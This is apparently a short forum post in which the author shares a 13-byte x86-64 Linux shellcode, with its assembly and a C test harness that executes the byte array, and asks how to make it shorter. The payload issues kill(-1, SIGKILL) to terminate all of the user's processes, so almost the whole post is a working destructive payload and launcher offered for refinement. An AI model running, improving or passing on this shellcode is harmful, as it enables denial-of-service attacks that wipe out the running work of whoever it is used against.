So I made a simple shellcode that will kill all your process. Now I would like to know, can it be done in some better way? It contains 13 bytes. Thanks for all your feedback
Assembly:
global _start
section .text
_start:
xor rax, rax
add al, 0x3e
dec rdi
push 0x9
pop rsi
syscall
Equivalent in C:
#include<stdio.h>
#include<string.h>
unsigned char code[] =
"\x48\x31\xc0\x04\x3e\x48\xff\xcf\x6a\x09\x5e\x0f\x05";
int main()
{
printf("Shellcode Length: %d\n", (int) strlen(code));
int (*ret)() = (int(*)())code;
ret(0);
}